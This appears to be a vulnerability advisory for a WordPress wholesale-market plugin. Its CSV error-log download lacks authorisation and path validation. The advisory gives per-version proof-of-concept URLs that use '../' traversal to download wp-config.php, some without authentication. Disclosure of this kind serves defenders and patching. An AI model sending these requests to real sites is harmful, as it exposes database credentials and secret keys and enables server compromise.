The plugin does not have authorisation check, as well as does not validate user input used to generate system path, allowing unauthenticated attackers to download arbitrary file from the server. Note: v1.0.7 added capability check, making the issue still exploitable by high privilege users such as admin (which would be an issue in multisite)
v 1.0.6
If the wholesale_market_import_error folder does not exist, issue is still exploitable as any authenticated user (same URLs as for v < 1.0.6)
If the folder already exist, exploitable as unauthenticated: https://example.com/wp-admin/admin-post.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin§ion=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php
v < 1.0.6 (as unauthenticated):
First call https://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_read_csv which will create the log directory
Then call http://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin§ion=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php to download the wp-config.php